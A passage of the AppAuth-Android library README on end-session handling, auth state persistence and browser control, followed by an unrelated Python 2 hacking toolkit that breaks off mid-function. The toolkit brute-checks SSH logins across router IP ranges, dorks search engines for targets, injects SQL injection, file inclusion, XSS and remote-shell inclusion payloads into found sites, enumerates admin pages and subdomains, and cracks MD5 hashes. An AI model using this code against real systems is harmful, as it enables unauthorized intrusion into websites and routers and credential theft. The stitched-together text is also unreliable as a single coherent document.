.setPostLogoutRedirectUri(endSessionRedirectUri) .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performEndSessionRequest` and providing pending intent for completion and cancelation handling activities. The startActivityForResult approach is simpler to use but may require more processing of the result: ```java private void endSession() { AuthorizationService authService = new AuthorizationService(this); Intent endSessionItent = authService.getEndSessionRequestIntent(endSessionRequest); startActivityForResult(endSessionItent, RC_END_SESSION); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_END_SESSION) { EndSessionResonse resp = EndSessionResonse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performEndSessionRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performEndSessionRequest( endSessionRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` End session flow will also work involving browser mechanism that is described in authorization mechanism session. Handling response mechanism with transition to another activity should be as follows: ```java public void onCreate(Bundle b) { EndSessionResponse resp = EndSessionResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` ### AuthState persistence Instances of `AuthState` keep track of the authorization and token requests and responses. This is the only object that you need to persist to retain the authorization state of the session. Typically, one would do this by storing the authorization state in SharedPreferences or some other persistent store private to the app: ```java @NonNull public AuthState readAuthState() { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); String stateJson = authPrefs.getString("stateJson", null); if (stateJson != null) { return AuthState.jsonDeserialize(stateJson); } else { return new AuthState(); } } public void writeAuthState(@NonNull AuthState state) { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); authPrefs.edit() .putString("stateJson", state.jsonSerializeString()) .apply(); } ``` The demo app has an [AuthStateManager](https://github.com/openid/AppAuth-Android/blob/master/app/java/net/openid/appauthdemo/AuthStateManager.java) type which demonstrates this in more detail. ## Advanced configuration AppAuth provides some advanced configuration options via [AppAuthConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java) instances, which can be provided to [AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) during construction. ### Controlling which browser is used for authorization Some applications require explicit control over which browsers can be used for authorization - for example, to require that Chrome be used for second factor authentication to work, or require that some custom browser is used for authentication in an enterprise environment. Control over which browsers can be used can be achieved by defining a [BrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserMatcher.java), and supplying this to the builder of AppAuthConfiguration. A BrowserMatcher is suppled with a [BrowserDescriptor](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDescriptor.java) instance, and must decide whether this browser is permitted for the authorization flow. By default, [AnyBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/AnyBrowserMatcher.java) is used. For your convenience, utility classes to help define a browser matcher are provided, such as: - [Browsers](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/Browsers.java): contains a set of constants for the official package names and signatures of Chrome, Firefox and Samsung SBrowser. - [VersionedBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionedBrowserMatcher.java): will match a browser if it has a matching package name and signature, and a version number within a defined [VersionRange](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionRange.java). This class also provides some static instances for matching Chrome, Firefox and Samsung SBrowser. - [BrowserAllowList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserAllowList.java): takes a list of BrowserMatcher instances, and will match a browser if any of these child BrowserMatcher instances signals a match. - [BrowserDenyList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDenyList.java): the inverse of BrowserAllowList - takes a list of browser matcher instances, and will match a browser if it _does not_ match any of these child BrowserMatcher instances. For instance, in order to restrict the authorization flow to using Chrome or SBrowser as a custom tab: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserAllowList( VersionedBrowserMatcher.CHROME_CUSTOM_TAB, VersionedBrowserMatcher.SAMSUNG_CUSTOM_TAB)) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` Or, to prevent the use of a buggy version of the custom tabs in Samsung SBrowser: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserDenyList( new VersionedBrowserMatcher( Browsers.SBrowser.PACKAGE_NAME, Browsers.SBrowser.SIGNATURE_SET, true, // when this browser is used via a custom tab VersionRange.atMost("5.3") ))) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` ### Customizing the connection builder for HTTP requests It can be desirable to customize how HTTP connections are made when performing token requests, for instance to use [certificate pinning](https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning) or to add additional trusted certificate authorities for an enterprise environment. This can be achieved in AppAuth by providing a custom [ConnectionBuilder](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/connectivity/ConnectionBuilder.java) instance. For example, to custom the SSL socket factory used, one could do the following: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setConnectionBuilder(new ConnectionBuilder() { public HttpURLConnection openConnect(Uri uri) throws IOException { URL url = new URL(uri.toString()); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); if (connection instanceof HttpsUrlConnection) { HttpsURLConnection connection = (HttpsURLConnection) connection; connection.setSSLSocketFactory(MySocketFactory.getInstance()); } } }) .build(); ``` ### Issues with [ID Token](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/IdToken.java#L118) validation ID Token validation was introduced in `0.8.0` but not all authorization servers or configurations support it correctly. - For testing environments [setSkipIssuerHttpsCheck](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java#L129) can be used to bypass the fact the issuer needs to be HTTPS. ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setSkipIssuerHttpsCheck(true) .build() ``` - For services that don't support nonce[s] resulting in **IdTokenException** `Nonce mismatch` just set nonce to `null` on the `AuthorizationRequest`. Please consider **raising an issue** with your Identity Provider and removing this once it is fixed. ```java AuthorizationRequest authRequest = authRequestBuilder .setNonce(null) .build(); ``` ## Dynamic client registration AppAuth supports the [OAuth2 dynamic client registration protocol](https://tools.ietf.org/html/rfc7591). In order to dynamically register a client, create a [RegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/RegistrationRequest.java) and dispatch it using [performRegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L278) on your AuthorizationService instance. The registration endpoint can either be defined directly as part of your [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java), or discovered from an OpenID Connect discovery document. ```java RegistrationRequest registrationRequest = new RegistrationRequest.Builder( serviceConfig, Arrays.asList(redirectUri)) .build(); ``` Requests are dispatched with the help of `AuthorizationService`. As this request is asynchronous the response is passed to a callback: ```java service.performRegistrationRequest( registrationRequest, new AuthorizationService.RegistrationResponseCallback() { @Override public void onRegistrationRequestCompleted( @Nullable RegistrationResponse resp, @Nullable AuthorizationException ex) { if (resp != null) { // registration succeeded, store the registration response AuthState state = new AuthState(resp); //proceed to authorization... } else { // registration failed, check ex for more details } } }); ``` ## Utilizing client secrets (DANGEROUS) We _strongly recommend_ you avoid using static client secrets in your native applications whenever possible. Client secrets derived via a dynamic client registration are safe to use, but static client secrets can be easily extracted from your apps and allow others to impersonate your app and steal user data. If client secrets must be used by the OAuth2 provider you are integrating with, we strongly recommend performing the code exchange step on your backend, where the client secret can be kept hidden. Having said this, in some cases using client secrets is unavoidable. In these cases, a [ClientAuthentication](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientAuthentication.java) instance can be provided to AppAuth when performing a token request. This allows additional parameters (both HTTP headers and request body parameters) to be added to token requests. Two standard implementations of ClientAuthentication are provided: - [ClientSecretBasic](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretBasic.java): includes a client ID and client secret as an HTTP Basic Authorization header. - [ClientSecretPost](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretPost.java): includes a client ID and client secret as additional request parameters. So, in order to send a token request using HTTP basic authorization, one would write: ```java ClientAuthentication clientAuth = new ClientSecretBasic(MY_CLIENT_SECRET); TokenRequest req = ...; authService.performTokenRequest(req, clientAuth, callback); ``` This can also be done when using `performActionWithFreshTokens` on AuthState: ```java ClientAuthentication clientAuth = new ClientSecretPost(MY_CLIENT_SECRET); authState.performActionWithFreshTokens( authService, clientAuth, action); ``` ## Modifying or contributing to AppAuth This project requires the Android SDK for API level 25 (Nougat) to build, though the produced binaries only require API level 16 (Jellybean) to be used. We recommend that you fork and/or clone this repository to make modifications; downloading the source has been known to cause some developers problems. For contributors, see the additional instructions in [CONTRIBUTING.md](https://github.com/openid/AppAuth-Android/blob/master/CONTRIBUTING.md). ### Building from the Command line AppAuth for Android uses Gradle as its build system. In order to build the library and app binaries, run `./gradlew assemble`. The library AAR files are output to `library/build/outputs/aar`, while the demo app is output to `app/build/outputs/apk`. In order to run the tests and code analysis, run `./gradlew check`. ### Building from Android Studio In AndroidStudio, File -> New -> Import project. Select the root folder (the one with the `build.gradle` file).
udinparla
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, 